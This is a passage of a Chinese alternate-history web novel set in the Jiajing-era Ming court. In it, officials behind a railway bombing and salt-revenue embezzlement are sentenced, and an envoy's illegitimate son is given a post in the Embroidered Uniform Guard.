“这是周大人递上来的奏疏,昨天夜里有人炸铁路,被周大人抓了,北镇抚司连夜突审,抓出了幕后的这些官员,具体的,诸位阁老看奏疏吧,陛下让诸位给这些人拟罪,明日朝堂复议。” 黄锦说着将奏疏递给了杨一清。 杨一清打开奏疏,只是粗略地看了一眼,看到运盐收入的近八成进了这些人的腰包的时候,忍不住倒吸了一口凉气。 “这些人居然如此胆大包天!” 杨一清说道。 杨慎听到这话,站在旁边看了看奏疏的内容,顿时极为愤怒。 “简直是无法无天,侵吞大明资产,罪不可恕!” 杨慎愤怒道。 倒是夏言,虽然没有参与这些,但这其中的利益,他多少是知道一些的,倒没有显得多吃惊。 “诸位拟罪吧,明日早朝将折子递上去就成,咱家告退了。” 黄锦行了个礼道。 “黄公公慢走。” 杨一清客气道。 “诸位,拟罪吧。” 眼看来了正事,杨一清早已没了方才的嘻嘻哈哈,满脸严肃道。 杨慎夏言等人听到这话,纷纷坐回了自己的位置,杨一清从桌子上拿起自己水晶打磨的老花镜,戴上之后,开始仔细看起了奏疏上的名单。 ....... 第二天一早是个大朝会,周楚自然也要上朝,还没进朝堂,周楚就遇到了杨一清和杨慎同行。 “周大人,你又为朝廷做了件大事啊。” 杨一清忍不住感慨道。 “再不对这些人动手,我都怕活不下去了。” 周楚笑道。 “哦?此言何解?” 杨一清好奇道。 “首辅大人不知道吧,前些天衡器没少遭遇刺杀,不过根据这些人的供词,应该不是他们干的,想必是有人想浑水摸鱼。” 杨慎说这话的时候,看了一眼不远处的夏言。 杨一清听到这话,想起了夏言身子骨变成了如今的模样,瞬间想明白了许多事。 “周大人派去的那个大夫有问题吧?” 杨一清来到周楚跟前,低声道。 “首辅大人可不要凭空污人清白,我还特意问了他,给夏阁老开的可都是大补的药,我听说夏阁老这半个月连纳三房小妾,说明这药效果好啊。” 周楚一副被冤枉的表情道。 这种事,周楚是不可能承认的,一旦承认了,杨一清等人就会对周楚多了一层防备之心,别看杨一清现如今和周楚的关系很好,官场上的关系永远都不是固定的,是一直变化的。 “是老夫妄加揣度了。” 杨一清有些不好意思道。 很快,众人来到了朝堂上,朝会正式开始。 “陛下,前两日有人炸毁铁路,周大人将这些人抓起来之后经由北镇抚司审讯,抓出了幕后主使,幕后之人不是一个人,而是一群朝廷命官。” 朝会一开始,杨一清直接拿出了拟罪的奏疏,说道。 此言一出,朝堂上满朝文武尽皆哗然,他们没想到今日的朝会这么劲爆,许多人开始左右查看,发现朝堂上确实少了不少熟悉的面孔。 “真是岂有此理,这些人为何要炸铁路,简直视朝廷的法度如无物!” 嘉靖高声道。 “陛下,还是让周大人说吧,周大人办的案子。” 杨一清说道。 周楚听到这话,这才出列。 “陛下,这些人勾结盐帮,他们怕火车彻底运行之后,朝廷会用火车运盐,如此一来,盐帮和他们就无利可图了,这些人勾结盐帮,侵吞了运盐利润的八成,简直是匪夷所思,无法无天!” 周楚说道。 周楚此言一出,朝堂上再次哗然,他们怎么都没想到,盐帮和这些官员居然如此胆大包天,侵吞了这么多。 “诸位,肃静!” 黄锦高呼道。 黄锦此言一出,朝廷顿时为之一静。 “陛下,周大人让北镇抚司将这些官员抓了起来,并未用刑,这些人对自己所犯之事供认不讳,这是内阁的拟罪折子,还请陛下御览。” 杨一清说着将手中的奏疏递给了黄锦,黄锦又递给了嘉靖。 嘉靖打开看了看,点了点头,大部分人的罪名都是没什么问题的,有少数那么几个轻了些,倒也无关痛痒,不会影响大局。 “黄锦,宣读吧。” 嘉靖看完之后,并未觉得有何不妥,这才将奏疏递给了黄锦,黄锦打开奏疏,开始宣读。 听到奏疏上的那些人的罪名大多数是秋后问斩,少数是流放,朝堂上的文武百官顿感心惊肉跳。 他们此时才真切的感受到了,如今的皇帝不止治国厉害,对待官员更不会心慈手软,这让很多人原本升起的贪婪之心,吓得缩了回去。 内阁拟罪之所以这么狠,主要还是因为杨一清和杨慎。 特别是杨慎,完全不用考虑什么人情世故,也不会因为想替自己留后路而对这些人网开一面,拟罪的时候,这些秋后问斩的,基本都是他提议的,夏言反对,杨一清同意,贾咏大多弃票。 杨一清之所以同意,是因为他如今这个年纪,不需要考虑太多东西了,他很清楚,自己最多再干一两年,就得告老还乡了,要知道如今的杨一清可是七十有三了,干到他这个年纪的,整个历史上都很少见。 更何况如今的杨盛斋,不入朝堂,不入仕途,杨一清根本不用考虑为自己孙子铺路的问题。 杨一清很清楚,自己的孙子要走的路和自己的路完全不同,那些官场上的门道,那些人情世故,根本影响不到自己的孙子。 因此杨一清给这些人拟罪的时候,但凡杨慎提议的,他基本都会同意。 只有少数无关痛痒的,杨一清会适当放宽一些。 杨一清很清楚自己现在该讨好的是谁,是周楚和皇帝,至于其他人,不在他的考虑范畴之内。 “诸位爱卿,对内阁的拟罪结果,可有什么异议?” 嘉靖看着满朝的官员,问道。 “陛下,这拟罪是否过重了些?” 礼部的一个官员出列道。 “是啊陛下,按照以往的惯例,多数应该是流放的。” 另一个官员附和道。 “惯例,什么惯例?难道以往就没有秋后问斩的惯例吗?” 韩玠出列反驳道。 “这些人身为朝廷命官,不思报效君恩,居然侵吞如此多的国家资产,还妄图炸毁铁路,铁路是什么?诸位,无需本官多言吧?铁路于我大明的重要性,无需本官多说吧?” 韩玠此话一出,其他人还未说话,兵部尚书王宪直接站了出来。 “陛下,这些人罪该万死,依老臣看,秋后问斩还是太轻了,就应该斩立决,夷三族,铁路可是关系到我大明的千秋大业,这些人想要炸毁铁路,罪同叛国。” 王宪满脸愤怒道。 刚才得知铁路被炸毁的时候,王宪的血压都上去了,此时才刚刚缓过来。 “你们这些人,为这些罪该万死之人说话,到底存的什么心思?难不成有罪不该罚?” 王宪回头瞪着那些人,说道。 此时的王宪如同一头暴怒的雄狮,那些人谁敢触他的霉头,纷纷哑火了。 只有关系到自己切身利益的时候,人才会生气,很显然王宪便是如此,要是火车的运行因此被搁置了,他们兵部的作战计划岂不是白白制定了,他们连出使叶尔羌汗国的人选都在这两日敲定了,所有的一切都准备好了,现在得知有人想要炸毁铁路,王宪如何能不炸毛? 不只是王宪,此时兵部的所有官员,一个个都极为愤怒,但凡有人敢站出来再为这些人说话,根本用不着其他人,兵部的官员就能给他们灭了。 很显然,其让人也都注意到了兵部官员的表情,原本还打算出列的,纷纷怂了。 “爱卿这话说的就有些过了,就按内阁拟定的吧,朕明白你的心意,放心吧,征战叶尔羌汗国势在必行,你们兵部可选出了出使叶尔羌汗国的人选了?” 嘉靖看着暴怒的王宪,转移话题道。 果然,王宪听到这话,顿时来了精神。 “陛下,已经选好了!” 第355章 出使叶尔羌汗国的人选,抄家,抄家! “陛下,我兵部车驾司员外郎孟继孟文轩愿为大明使者,出使叶尔羌汗国,定不负陛下所托。” 王宪郑重其事道。 兵部下面设有四个司,分别是武选清吏司、职方清吏司、车驾清吏司和武库清吏司,每个司设有郎中一人,为正五品,是各司主官。 每个司设有员外郎一人,为从五品,为各司郎中的副职,协助处理各司事务。 正五品的官已经算不小的官了,在京城可谓是养尊处优,所以当时选出使叶尔羌汗国的使者之时,这些正五品的官员犹豫再三,还是没人站出来。 说白了都怕死。 大部分从五品的官员也都不想充当这个使者,但孟继不同,此人性格刚毅,和同僚之间的关系并不是很融洽,但身为兵部尚书,王宪一直很器重孟继,因为孟继一直以来都是兵部之中少有的主战派,包括很多年前面对蒙古的时候,他一直都是主战的。 彼时王宪还不是兵部尚书,那时候的兵部尚书是个主和派,所以那时孟继在兵部不得重用,直到王宪上任兵部尚书,这才把孟继慢慢提拔了上来。 这次选拔出使叶尔羌汗国的使者的时候,其他官员都还在犹豫要不要当这个使者的时候,孟继毫不犹豫的站了出来。 王宪在孟继眼中只看到了誓死报国的决心,王宪清楚,此次出使叶尔羌汗国的使者,非孟继不可了。 其他那些官员,即便是派他们去了,他们也未必有那个决心,敢死在叶尔羌汗国,倘若他们怕了,那么自己和陛下的布局将会功亏一篑,这不是王宪想看到的。 “孟文轩啊,朕对此人倒是有些印象,倒是个实心任事的。” 嘉靖想了想,终于想起了孟继这个人,如今王宪作为兵部尚书,兵部之中的主战派很多,但嘉靖刚继位那两三年,王宪可不是兵部尚书,彼时整个兵部,大多数都是主和派,特别是当初周楚第一次将俺答从大同击退的时候,朝中的官员得知此事褒贬不一。 很多官员主张派出使者,去草原主动和蒙古人议和,嘉靖记得当时兵部有个六品官,上疏痛斥这些官员,并且对周楚大力夸赞,这个人不是别人,正是孟继。 虽然孟继没资格上朝,但嘉靖因为这封奏疏对孟继一直都有印象。 “那就宣孟文轩上殿吧。” 嘉靖清楚,既然王宪提名孟继了,那么此时孟继肯定在外面候着呢,一般朝会得五品及五品以上的官员才有资格,孟继从五品,朝会上没有他的位置。 “微臣拜见陛下。” 孟继进入朝堂之后,行礼道。 “孟文轩,当初周衡器在大同击退俺答,朝堂之中都是议和之声,朕记得当时你写了一封奏疏,极力主战。” 嘉靖看着孟继,说道。 孟继听到这话,顿感受宠若惊,他怎么都没想到,自己这么一个芝麻绿豆的小官,居然能引起陛下的注意,陛下居然还记得当初自己的那封奏疏。 这让孟继有种想替嘉靖效死的冲动。 “多谢陛下挂怀,当时微臣只是觉得我大明不能总是固守,自古以来,最好的防守就是进攻,只有把他们打怕了,我大明才能得到真正的安宁。” 孟继恭敬道。 “这话说得好,我大明凭什么和蒙古人议和?大明有周衡器,有陆云瑾,还有林稚心,此三人哪一个不能横推草原?” 嘉靖意气风发道。 “着孟文轩出使叶尔羌汗国,和叶尔羌汗国互通有无,扬我大明国威。” 嘉靖看着孟继,说道。 刚知道王宪选出来的使者是孟继的时候,嘉靖心中就已经同意了,这等主战派,虽说死在叶尔羌汗国有些可惜了,但倘若派其他人去,他们未必有那个魄力敢死在那。 更何况孟继所求不过一死,正所谓求仁得仁,嘉靖自然没有反对的理由。 “多谢陛下成全。” 孟继听到这话,直接跪在了地上,冲着嘉靖磕了三个头,这三个头就算是道别,也算是永别了。 “黄锦,赶紧替朕把孟爱卿扶起来。” 嘉靖郑重其事道。 黄锦直接小跑到孟继跟前,将孟继搀了起来。 “孟大人为国为民,陛下是知道的,此一去山高水长,有什么需要交代的,一定要交代到,以免留下遗憾。” 黄锦在孟继身旁低声道。 下朝之后,周楚被黄锦叫到了御书房之中。 “陛下有何吩咐?” 周楚来到御书房,行礼道。 “倒也不算什么大事,孟文轩这不是要出使叶尔羌汗国了吗?之前欧阳必进出使安南之时,朕就有些疏漏,没有提前帮他处理身后事,现在每每想起,心中都有遗憾,这几日你就替朕帮孟文轩处理好他的身后事。” 嘉靖想了想,说道。 周楚听到这话,点了点头。 “臣这就让锦衣卫调查一下,看看孟大人有什么遗憾,都帮他圆满了,至于他的家人,也会给足银钱,也会派人专门盯着,以免被人找麻烦。” 周楚说道。 “给孟文轩的银钱从朕的内帑中出,回头我让黄锦备好,给你送去。” 嘉靖说着来到书架上,拿起一个漆器盒子,这个漆器盒子通体亮黑色,显得雍容华贵,整体工艺极为考究,上面全是金丝描绘的图案,惟妙惟肖,一看就知道不知道经过了多少道工序。 对于漆器,周楚了解的不多,只知道漆器制作起来极其复杂,这东西无论是在任何朝代,都是奢侈品中的奢侈品。 “这件漆器盒子朕甚是喜爱,特别是这上面的图案,这里面朕放了些南洋那边进贡过来的小玩意,你一起拿回去吧。” 嘉靖看着漆器盒子,有些不舍道。 “陛下,正所谓君子不夺人所爱,陛下既然如此喜爱,何必给臣呢。” 周楚有些为难道。 “让你拿着你就拿着,朕这里好东西多着呢。” 嘉靖摆了摆手道。 周楚听到这话,才上前将书案上的漆器盒子拿了过来,刚一入手,周楚就感觉手一沉,周楚清楚,这盒子之中的东西恐怕更加名贵。 不过再名贵的东西,如今周楚也不会太在乎了,嘉靖每次抓住机会就会赏赐周楚,赏赐的还都是一些珍宝,再加上周楚自己有多少钱,自己都不清楚,所以对这些身外之物,倒不怎么看重。 但不看重归不看重,皇帝赏赐的,还是要表示出自己该有的重视和激动。 周楚离开皇宫之后,将漆器盒子送回家之后,就骑着乌骓马,带着沈炼和大柱,还有皇帝备的几大箱子财物,直奔孟继家而去。 周楚身为锦衣卫指挥使,进孟府自然是畅通无阻的,不过对孟继该有的尊重还是要有的,周楚让孟府的门房通报,孟继得知周楚来拜访自己的时候,顿感受宠若惊。 他虽然三十多岁了,但心中一直对周楚推崇之至,甚至有些崇拜,有明一朝,纵观所有臣子,孟继认为没有一个比得上这位锦衣卫指挥使的。 孟继一路小跑来到了家门口,生怕怠慢了周楚。 “下官见过大人。” 孟继来到周楚面前,躬身行礼道。 此时周楚早已下马,马匹交给了孟府的人。 “孟大人不必多礼,本官此次前来,是陛下的意思,陛下让我来帮大人处理身后事,这些是陛下赏赐的。” 周楚指了指后面从马车上抬下来的一箱箱钱财。 “多谢陛下隆恩。” 孟继直接跪倒在地道。 周楚这算是替皇帝传旨了,孟继自然是要跪谢的。 “孟大人,起来吧,陛下让本官来处理你的身后事,有什么放心不下的,或许心中有遗憾的,都可以告诉本官,你是知道的,就算你不说,本官也能查到。” 周楚将孟继扶了起来说道。 孟继听到这话,顿时一脸为难,似乎在犹豫要不要说。 “周大人,快请进,别站着说话了。” 孟继直接将周楚请进了后院的客厅之中。 周楚在孟府一路走过来,发现孟府之中无论是下人,亦或是其他人,都神情悲伤,特别是孟继的妻子和儿女,都在旁边默默地抹眼泪。 周楚当然知道他们为什么哭,毕竟孟继此去叶尔羌汗国,定是有去无回的。 “孟大人可有什么难言之隐?只管告诉本官,本官定会为孟大人处理妥当。” 周楚看出了孟继的犹豫,说道。 孟继听到这话,起身郑重其事的对周楚行了个礼。 “周大人,实不相瞒,下官私德有亏啊,早年间,下官大婚之前,曾和一女子私定终身,但最终拗不过父母之命,和如今的夫人成婚了,成婚后我们夫妻倒也恩爱,只是那女子为我生下一个儿子,我自觉愧对夫人,所以这些年一直把他们养在外面,亏欠他们太多,每每想起此事,便夜不能寐。” 孟继满脸愧疚道。 “这也不算什么大事,你和这个女子私定终身在前,这件事本官知道了,回头本官走一趟,你那个儿子多大了?” 周楚问道。 “犬子如今十五岁。” 孟继不敢有所隐瞒,实话实说道。 “十五岁,年纪倒是很合适,回头本官替他在南镇抚司谋一个闲差,虽不至大富大贵,却也一辈子衣食无忧,孟大人对此安排可还满意?” 周楚看着孟继,问道。 “多谢大人,下官感激不尽。” 孟继听到这话,满脸激动道。 孟继很清楚,他死后,朝廷会给他的嫡长子加官进爵,甚至他的嫡次子也会分到很多家产,注定一辈子衣食无忧。 他最担心的就是他那个养在外面的庶子,没了自己的庇护,他们母子恐怕要艰难求生了,更何况孟继清楚,自己的夫人对这个外室的存在一直都是知道的,只不过选择了睁一只眼闭一只眼罢了,等自己死后,孟继不清楚自己的夫人对他们母子会是什么态度,孟继不敢赌。 “孟大人哪里的话,你为我大明效死,些许小事本官若不能为大人解决的话,上愧皇恩,下愧孟大人。” 周楚摆了摆手道。 “孟大人可还有什么心事?本官一并解决了。” 周楚看着孟继,追问道。 “除了他们母子之外,下官没有其他心事了。” 孟继摇头道。 “既如此,那本官就告辞了,余下的时间不多了,孟大人和家人好好相处相处吧。” 周楚行礼道。 朝会上对那些官员的判罚下来之后,陆万山带着北镇抚司的人开始了不停地抄家。 不得不说,这些官员侵吞了这么多年的运盐收入,一个个都富得流油。 一共三十多个官员,每一家最少抄出五六十万两白银,铜钱更是无数,这还只是这些人在京城之中的资产,他们老家的只会更多。 对于这些人的老家,周楚自然是不会放过的,怎么侵吞的朝廷资产,周楚就会让他们怎么吐出来。ωww.xSZWω㈧.NēΤ 之前陆万山将这些人的认罪折子递给周楚的时候,周楚就给扬州府和严嵩去了密函,让他们联手将盐帮的相关人员全部控制起来,以免这些人得到风声跑路。 严嵩身为江南省的实际上的一把手,扬州虽然归南直隶管,但离苏州也很近,有了周楚的密函,严嵩办起来自然是毫无顾虑,直接带兵将扬州盐帮的老巢团团围住,然后让扬州府的锦衣卫进去抓人。 周楚很清楚,这些官员贪的还只是小头,真正的大头全都在盐帮之中。 将这些人的家全部抄了之后,大明的国库还有嘉靖的内帑又多了一笔不菲的收入,周楚也从中拿了一些。 可谓是皆大欢喜。 处理完这些事之后,周楚来到京城的一处僻静处的宅子门前,敲了敲门。 “谁啊?” 里面传来一个妇人的声音。 “是孟大人让我来的。” 周楚高声道。 “清远,去开门。” 妇人的声音再次响起。 很快,大门被打开,一个看上去十五六岁的少年郎探头探脑的看着周楚。 “你是何人?” 少年看着周楚,疑惑道。 第356章 孟清远南镇抚司报道,周楚的安排 周楚并非只身前来,实际上周楚每次出门,沈炼和大柱都会跟在旁边,护卫周楚的安危。 此时周楚三人穿的都是常服,少年看着眼前的周楚,满脸的疑惑。 “你爹是孟文轩孟大人对吧?” 周楚看着少年,说道。 “你怎么知道?” 少年一脸疑惑道。 他作为孟继的私生子,很少有人知道他和孟继的关系。 “你爹让我来的。” 周楚笑道。 “清远,还不赶紧请客人进来?” 院子之中再次传来了妇人的声音。 孟清远听到这话,这才把大门完全打开。 “几位请进吧。” 周楚走进院子才发现,这个宅子并不大,有一间堂屋,两间耳房,不过住这母子两个是足够的。 院子之中,一个妇人正坐在树下阴凉处刺绣,这个妇人看上去像是二十多岁,皮肤细腻,一看就是没吃过什么苦。 看得出来,孟继对这对母子很好,没有亏待过他们。 “几位前来所为何事?文轩怎么没来?” 看到周楚他们,妇人将手中的刺绣放在身前的石桌上面,温声细语道。 “孟大人主动请缨,要替朝廷出使叶尔羌汗国,此一去山高路远,不知什么时候才能回来,他最放心不下的便是你们母子二人,特意交代我来照顾你们。” 周楚说道。 妇人听到这话,顿时怔住了,随即一行清泪就流了下来。 “清远,你去给几位客人泡茶。” 妇人看着自己的儿子,说道。 少年听到这话,转身进了屋子。 “大人和我说实话,文轩是不是回不来了?” 少年刚一离开,妇人再也忍不住了,看着周楚,问道。 妇人不知道周楚的身份,但此时的周楚身居高位多年,自身就带着一股上位者的气质,更何况周楚身后的沈炼和大柱,妇人一眼就能看得出来是在护卫周楚的安危。 又被孟文轩托付,妇人基本断定周楚是朝中的官员。 “你是如何猜出来的?” 周楚点了点头道。 妇人听到这话,仿佛瞬间失去了所有的力气,瘫坐在石桌旁边的椅子上,随后惨然一笑。 “我太了解文轩了,倘若能回得来,他绝不会将我们母子的事告诉其他人,也不会假手于人,大不了多给我们母子留一些钱财便是。” 周楚听到这话,点了点头,倒也不意外。 “朝廷要对叶尔羌汗国用兵,缺乏一个出兵的理由,兵部之中很多官员主动请缨,但只有孟大人最为坚决,所以陛下选了他。” 周楚说道。小說中文網 “是啊,文轩一向忠君爱国,这种事他要是去不了,肯定会抱憾终身。” 妇人擦了擦眼泪道。 “本官已经答应了孟大人,刚才那孩子我会安排到锦衣卫之中,南镇抚司的闲职,不用勾心斗角,俸禄还不错,他的前途你不用担心。” 周楚看着妇人,安慰道。 “多谢大人。” 妇人起身对周楚行礼道。 此时孟清远已经端着茶壶和茶杯走了过来,妇人急忙擦了擦眼泪。 孟清远将茶壶放在石桌上,然后给周楚他们倒茶。 “大人快请坐,倒是怠慢了大人,寒舍简陋,大人见笑了。” 妇人伸手指了指石桌旁边的椅子道。 周楚倒也不矫情,坐了下来,端起茶杯喝了一口。 “这茶还不错,虽然算不上名贵,却也是难得的好茶,想来孟大人应该没少费心思。” 周楚品了品茶,说道。 什么名贵的茶周楚都喝过,妇人家的茶叶,虽然不是什么名贵的茶,味道确实很好,无论是回甘还是其他方面,较之最顶级的那些茶肯定是有些差距的,但不是很大。 “这是文轩老家的种的茶,每年他都会给我们母子送一些。” 说到孟继,妇人脸上顿时出现了幸福的笑容,随即想起了孟继就要前去赴死了,顿时满心的悲伤,却又不想让孟清远看出来,只能强颜欢笑。 “清远,过来给这位大人行礼。” 妇人冲着孟清远招了招手道,她很清楚,以后自己儿子的前途,就要指望着眼前的男人了。 孟文轩为国捐躯,即便是朝廷有所赏赐,也轮不到她这个外室,想来是孟文轩放心不下自己母子,一想到这里,妇人眼泪差点又流下来。 “见过大人。” 孟清远虽然不知道为何行礼,但他对自己母亲的话一向是言听计从,来到周楚面前恭敬行礼道。 “可曾习武?” 周楚看着孟清远,问道。 “回大人的话,清远自幼也没什么事,很少外出,朋友也不算多,所以我爹找了文武师父,读书也还行,原本过两年准备参加科举呢,武功自是勤学不辍,因为我爹总是和我说,以后要靠我保护我娘。” 清远挠了挠头道。 “纯甫,你和他过过招,试吧试吧他的身手。” 周楚看着身旁的沈炼说道。 沈炼听到这话,来到了孟清远面前。 妇人看着沈炼那夸张的身形,清楚此人身手肯定非同一般,想要替自己的儿子求情,让沈炼下手轻点,又怕因此影响了自己儿子的前途,满脸的担忧。 “放心吧,纯甫很有分寸,不会伤了清远的。” 周楚看着妇人,说道。 妇人听到这话,这才放下心来。 “你可有兵器?” 沈炼来到孟清远面前,问道。 “有的,不过平日里练武用的都是木刀,并没有铁器。” 孟清远略显紧张道。 “那便用木刀,我也不会出鞘,只是切磋。” 沈炼扬了扬手中的绣春刀道。 孟清远听到这话,急忙去旁边的架子上取下了自己平日里练功用的木刀,来到沈炼面前,摆好了架势。 “请赐教。” 孟清远神情严肃道。 沈炼倒也懒得说什么你先动手之类的,直接用手抓着刀和刀鞘连接的部位,开始给孟清远喂招。 沈炼主要是为了试探孟清远的功夫,别说用全力了,三成力都没用到,完全是在喂招。 即便如此,孟清远仍然打的很是艰难,满头大汗。 “可以了,停吧。” 周楚拍了拍手道。 沈炼听到这话,这才收招。 “大人,他功夫还不错,和一般的锦衣卫比,差不了多少。” 沈炼躬身道。 周楚听到这话,点了点头,再次看向了孟清远。 被周楚这么一看,孟清远愈发紧张起来了,此时他也看出来了,眼前之人的身份绝非一般。 “我南镇抚司有个缺,孟大人向本官举荐了你,所以本官特意前来看看,你够不够格,现在看来还行,明日一早,去南镇抚司报道,把这个交给他们就行,不能拆封。” 周楚说着从怀中取出一个信封,放在石桌上。 说完这话,周楚便不再逗留,起身就离开了。 孟清远则拿起石桌上的信封,懵了。 “娘,我爹这么厉害吗?还有这关系?能把我安排到南镇抚司?” 孟清远满脸不可置信道。 他很清楚,他爹只是个兵部从五品的官,听上去不小,但这里是京城,五品六品的官员随处可见。 锦衣卫见官大三级,孟清远怎么都想不明白,自己的爹怎么有这个能量的。 妇人听到这话,心中一阵悲戚,脸上却是笑了笑。 “方才那位大人是你爹的好友。” 孟清远听到这话,顿时一脸恍然,随即满脸地兴奋。 “娘,以后我就是锦衣卫了,我看谁还敢嘲笑我们娘俩?” 孟清远愤愤不平道。 他们母子二人在这宅院之中,很少外出,他们母子在这里住了十几年了,这附近的一些人家对他们母子都是知根知底的,知道他们是某个大人物的外室,所以平日里没少嚼他们的舌头根子。 甚至孟清远每次出门,都会遭到一些邻居家的孩子的嘲弄,久而久之,孟清远也不喜欢出门了。 这些事妇人从未和孟继提起过,她不想给孟继带来任何麻烦。 妇人听到这话,笑了笑。 “好孩子,以后娘就指着你撑腰了。” 妇人忍着悲伤,看着孟清远,笑道。 孟清远将周楚留下的信封小心翼翼地收了起来,生怕弄丢了。 当天夜里,孟清远辗转反侧,怎么都睡不着,今日的经历让他如坠梦中,他从一个私生子,摇身一变变成了南镇抚司的锦衣卫。 私生子的身份和他娘外室的身份给他带来了很多苦恼,但孟清远却从未因此怨恨过自己的爹和娘,他爹娘当年的故事他是知道的,他很清楚自己的爹也是身不由己,当初他奶奶以死相逼,娶了他娘他爹便是不孝,最后只能妥协。 更何况这么多年,他爹在吃的用的上面从未亏待过他们娘俩,孟清远的文武先生也是从来没断过,孟庆元此时才觉得自己的爹从一开始就为自己做好了打算,否则也不会坚持让自己习武。 毕竟他可是一个文官。 孟清远有些想自己的爹了,他恨不得明日一穿上锦衣卫的袍服,就去见自己的爹。 想着想着,孟清远就这么睡着了。 第二天一早,孟清远被自家的公鸡那嘹亮的嗓门吵醒了。 他睡眼朦胧的睁开眼,随即仿佛意识到了什么一般,一个鲤鱼打挺起来了。 孟清远穿好衣服,来到院中,此时院子之中他娘已经在洗漱了。 “娘,我不会迟到吧?” 孟清远看着自己的娘有些忐忑道。 妇人听到这话,笑着摇了摇头。 “天还没亮呢,怎么会迟到?此时那些衙门还没开门呢,不用着急。” 妇人说道。 妇人看着自己的儿子这愣头愣脑的模样,原本悲伤的情绪被冲淡了一些。 孟清远听到这话,顿时松了口气,随后便开始洗漱,等他娘做好饭之后,吃了两口饭就再也坐不住了。 “我不吃了娘,别再去晚了,我去南镇抚司门口等,第一天去,去早点总是好的。” 孟清远一边说着,一边拿起一个包子塞进嘴里,然后往外面走。 “去吧,做事不要这般毛躁,要稳重,衙门里的人最不喜欢毛躁之人。” 妇人看着自己的儿子,叮嘱道。 “放心吧娘,我心里有数。” 孟清远说这话的时候,已经出了大门了。 孟清远家住的相对比较偏远,离南镇抚司有近十里路,要知道这在如今的京城可就算很远了,如今的京城可不是后世的京城,只是四九城,四面城墙的长度加起来也不过五十多里,每一面城墙也就十几里。 好在孟清远自幼习武,每日勤练不辍,倒也不觉着累,很快就到了南镇抚司衙门门口。 此时的南镇抚司已经开门了,门口有锦衣卫值守。 “你是何人,来南镇抚司所为何事?” 值守的锦衣卫拦住孟清远,问道。 孟清远急忙从怀中拿出周楚给他的信封。 “昨日有一位大人让在下前来南镇抚司报道,他给了我这个,让我交给你们。” 孟清远一边说着,一边将信封递给了锦衣卫。 锦衣卫接过信封,原本有些漫不经心,毕竟眼前孟清远看上去就是个毛头小子,能拿出什么东西? 当他拆开信封,看到信纸上面写着的多加照顾四个字,上面还盖着锦衣卫指挥使的印章的时候,吓得一激灵,心想自己方才幸亏没有口出狂言,否则就惹祸上身了。 锦衣卫看了看信,又看了看孟清远,心想这个少年是什么身份?居然让指挥使大人亲自写信,还盖了指挥使的印信。 难不成他是周大人的私生子,可年龄也不对啊,周大人满打满算二十出头,这个少年看上去都有十五六了吧? “公子随我来。” 锦衣卫瞬间换了一副嘴脸,腰弯了下来,有些谄媚道。 这态度倒是让孟清远有些无所适从,不过孟清远并不清楚这其中的门道,以为锦衣卫对其他人也是这种态度呢,也就没多说什么。 孟清远跟着锦衣卫进了南镇抚司,刚进入南镇抚司,就看到了南镇抚司衙门的院子之中正在打造的火车车头和车厢,感到无比震撼。 “这些是火车车头和车厢。” 一旁的锦衣卫介绍道。 “我听说过,倒是没见过,没想到是这样的。” 孟清远惊叹道。 有着锦衣卫带路,孟清远的手续办的很顺利,很快就拿到了自己的锦衣卫袍服和绣春刀。 “今日不用当值,你可以回去了,明日记得不要迟到。” 给孟清远办手续的锦衣卫看着孟清远说道。 孟清远听到这话,点了点头,将绣春刀和锦衣卫袍服用锦衣卫给的包裹包了起来,背在肩膀上,转身就出了南镇抚司。 孟清远出了南镇抚司,步子都轻快了不少。 之前带着孟清远办手续的锦衣卫则来到了南镇抚司镇抚使何二面前。 “有事?” 何二看着此人,说道。 “大人,方才有一个少年来南镇抚司报到。” 锦衣卫说道。 “谁安排的人,我怎么事先不知道?” 何二皱了皱眉头,不满道。 最近因为火车的事,南镇抚司确实需要扩招一批人,很多官员为了自己的儿孙,都求到了何二这里,不过何二也都是征求过周楚的意见,才敢拍板。 此时听到有人不经过自己这个镇抚使,直接来报道,他自然不满。 “大人你自己看吧。” 锦衣卫说着将周楚写的那封信放在了何二面前的案牍之上。 何二拆开信封,拿出信纸,看到上面的字和印信,陷入了沉默。 “你怎么一点都不懂事?你就让他这么走了?” 何二瞪了一眼眼前的锦衣卫说道。 “啊?那属下该怎么做?” 锦衣卫一脸委屈道。 “去给这位公子家里送一些我们南镇抚司库房里的东西,那些丝绸,对,把我这个也带上。” 何二说着从腰间拿出一颗珍珠,这是他刚买的,原本准备送给自己的夫人,此时也顾不了这么多了。 他不清楚这个少年的身份,也不敢问,但何二十个聪明人,他很清楚,他们的这位锦衣卫指挥使大人从未以权谋私过,能让指挥使亲自写信的人,必有缘故,结一份善缘,总是没坏处的。 第357章 孟清远的身份,镇抚使的礼物 “孟清远,孟清远。” 锦衣卫离开之后,何二不断念叨着孟清远的名字,随后猛的一拍大腿,瞬间明白了孟清远的身份。 现如今朝中姓孟的,又处在风口浪尖上的,除了孟继还有谁? 孟继即将出使叶尔羌汗国,想必是陛下让指挥使大人处理他的身后事。 身为南镇抚司的镇抚使,何二虽然不怎么参与官员的调查,但也清楚,这朝中的官员,多多少少都是有私生子的,有些直接名正言顺的纳妾,有些则是历史遗留问题,没办法妥善的解决。 何二心中已经有八九成确定了孟清远的身份,不过他不会去调查,他很清楚,一旦自己调查,指挥使大人肯定是会知道的,到时候恐怕会引起他老人家心中不悦。 何二心中打定主意,以后一定要对孟清远多加照顾,这并非只是出于仕途考虑,而是出于对孟继的敬佩。 另外一边,孟清远脚步轻快,眼看着就快到了自己的家门口,却被几个人拦住了去路。 “这不是那个野种吗?怎么今日有脸出来了?” 这几人不是别人,正是这附近和孟清远年岁相当的一些混子,也是这附近各家的孩子。 孟清远七八岁的时候,他们就经常欺负孟清远,彼时的孟清远还没习武,自然是打不过他们,打不过就算了,还要被这些人言语侮辱,这就导致了孟清远后来极少出门,性格也就相对单纯。 这些年孟清远偶尔出门,都会小心一些,生怕撞见了这些人,偶尔撞见了,孟清远基本上都会装作看不到,任由这些人说什么。 因为孟清远的娘告诉他,不要让他爹知道这些糟心事,孟清远虽然单纯,却也懂事的早,他很清楚,他爹如果知道的话,会是什么后果,他害怕这事闹大,因为一旦闹大,他爹的正室想要装看不见也做不到了。 孟清远其实对之前和现在的生活都挺满意的,他的爹娘都很疼他,衣食无忧,文武都学,样样不差,无非是有些闲言碎语罢了,孟清远的娘是一个内心很强大的女人,她从来都表现的不在乎,这也导致了孟清远也不怎么在乎了。 不在乎归不在乎,但此时听到这几人骂自己是野种,孟清远还是忍不住瞪了他们一眼。 “呦!长本事了?还敢瞪我们了。” 